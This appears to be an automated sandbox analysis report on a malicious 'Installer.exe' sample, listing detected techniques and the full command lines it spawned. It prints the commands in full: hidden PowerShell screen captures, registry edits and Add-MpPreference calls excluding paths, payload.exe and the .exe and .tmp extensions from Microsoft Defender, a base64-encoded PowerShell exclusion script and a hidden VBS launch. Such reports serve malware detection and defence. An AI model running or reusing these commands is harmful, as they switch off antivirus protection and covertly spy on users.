Analysis

  • max time kernel
    152s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 20:15

General

  • Target
    Installer.exe
  • Size 168.1MB
  • Sample260705-y1kqpsbs8m
  • SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Hide Artifacts: Hidden Window 1 TTPs 6 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Drops file in Windows directory 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3572
    • C:\Users\Admin\AppData\Local\Temp\Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1656 --field-trial-handle=1660,i,9718418346877219187,8335331595502514716,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
      2⤵
        PID:3692
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:6640
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:6624
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:6392
        • C:\Users\Admin\AppData\Local\Temp\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2028 --field-trial-handle=1660,i,9718418346877219187,8335331595502514716,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
          2⤵
            PID:1876
          • C:\Users\Admin\AppData\Local\Temp\Installer.exe
            "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2232 --field-trial-handle=1660,i,9718418346877219187,8335331595502514716,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
            2⤵
              PID:6584
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283297264.png\"); $g.Dispose(); $bmp.Dispose()""
              2⤵
              • Hide Artifacts: Hidden Window
              • Suspicious use of WriteProcessMemory
              PID:3496
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283297264.png\"); $g.Dispose(); $bmp.Dispose()"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2444
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "net session"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:900
              • C:\Windows\system32\net.exe
                net session
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:6800
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 session
                  4⤵
                    PID:1380
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_e31ab809.vbs""
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5496
                • C:\Windows\system32\wscript.exe
                  wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_e31ab809.vbs"
                  3⤵
                    PID:5700
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5516
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
                    3⤵
                    • Windows security bypass
                    PID:4940
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5368
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
                    3⤵
                      PID:5972
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014" /t REG_DWORD /d 0 /f"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:696
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014" /t REG_DWORD /d 0 /f
                      3⤵
                      • Windows security bypass
                      PID:6260
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014" /t REG_DWORD /d 0 /f"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:784
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014" /t REG_DWORD /d 0 /f
                      3⤵
                        PID:2536
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:6904
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                        3⤵
                        • Windows security bypass
                        PID:6072
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:6596
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                        3⤵
                          PID:3304
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014\payload.exe" /t REG_DWORD /d 0 /f"
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3080
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014\payload.exe" /t REG_DWORD /d 0 /f
                          3⤵
                          • Windows security bypass
                          PID:6300
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014\payload.exe" /t REG_DWORD /d 0 /f"
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3088
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014\payload.exe" /t REG_DWORD /d 0 /f
                          3⤵
                            PID:3956
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3204
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
                            3⤵
                            • Windows security bypass
                            PID:1828
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:6036
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
                            3⤵
                            • Windows security bypass
                            PID:6168
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2192
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
                            3⤵
                            • Windows security bypass
                            PID:6336
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADIAOAAzADIAOQA2ADAAMQA0ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMgA4ADMAMgA5ADYAMAAxADQAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2712
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADIAOAAzADIAOQA2ADAAMQA0ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMgA4ADMAMgA5ADYAMAAxADQAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
                            3⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2688
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283298651.png\"); $g.Dispose(); $bmp.Dispose()""
                          2⤵
                          • Hide Artifacts: Hidden Window
                          • Suspicious use of WriteProcessMemory
                          PID:5628
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283298651.png\"); $g.Dispose(); $bmp.Dispose()"
                            3⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4260
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe""
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:620
                          • C:\Windows\system32\reg.exe
                            reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
                            3⤵
                              PID:4236
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014""
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4544
                            • C:\Windows\system32\reg.exe
                              reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014"
                              3⤵
                                PID:6364
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:6916
                              • C:\Windows\system32\reg.exe
                                reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
                                3⤵
                                  PID:5280
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014\payload.exe""
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:6984
                                • C:\Windows\system32\reg.exe
                                  reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014\payload.exe"
                                  3⤵
                                    PID:3888
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283302448.png\"); $g.Dispose(); $bmp.Dispose()""
                                  2⤵
                                  • Hide Artifacts: Hidden Window
                                  • Suspicious use of WriteProcessMemory
                                  PID:7016
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283302448.png\"); $g.Dispose(); $bmp.Dispose()"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2088
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014\payload.exe' -ErrorAction SilentlyContinue""
                                  2⤵
                                  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                                  • Hide Artifacts: Hidden Window
                                  • Hide Artifacts: Ignore Process Interrupts
                                  • Suspicious use of WriteProcessMemory
                                  PID:3860
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283296014\payload.exe' -ErrorAction SilentlyContinue"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:5780
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283303323.png\"); $g.Dispose(); $bmp.Dispose()""
                                  2⤵
                                  • Hide Artifacts: Hidden Window
                                  • Suspicious use of WriteProcessMemory
                                  PID:4448
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283303323.png\"); $g.Dispose(); $bmp.Dispose()"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:6740
                                • C:\Windows\system32\cmd.exe
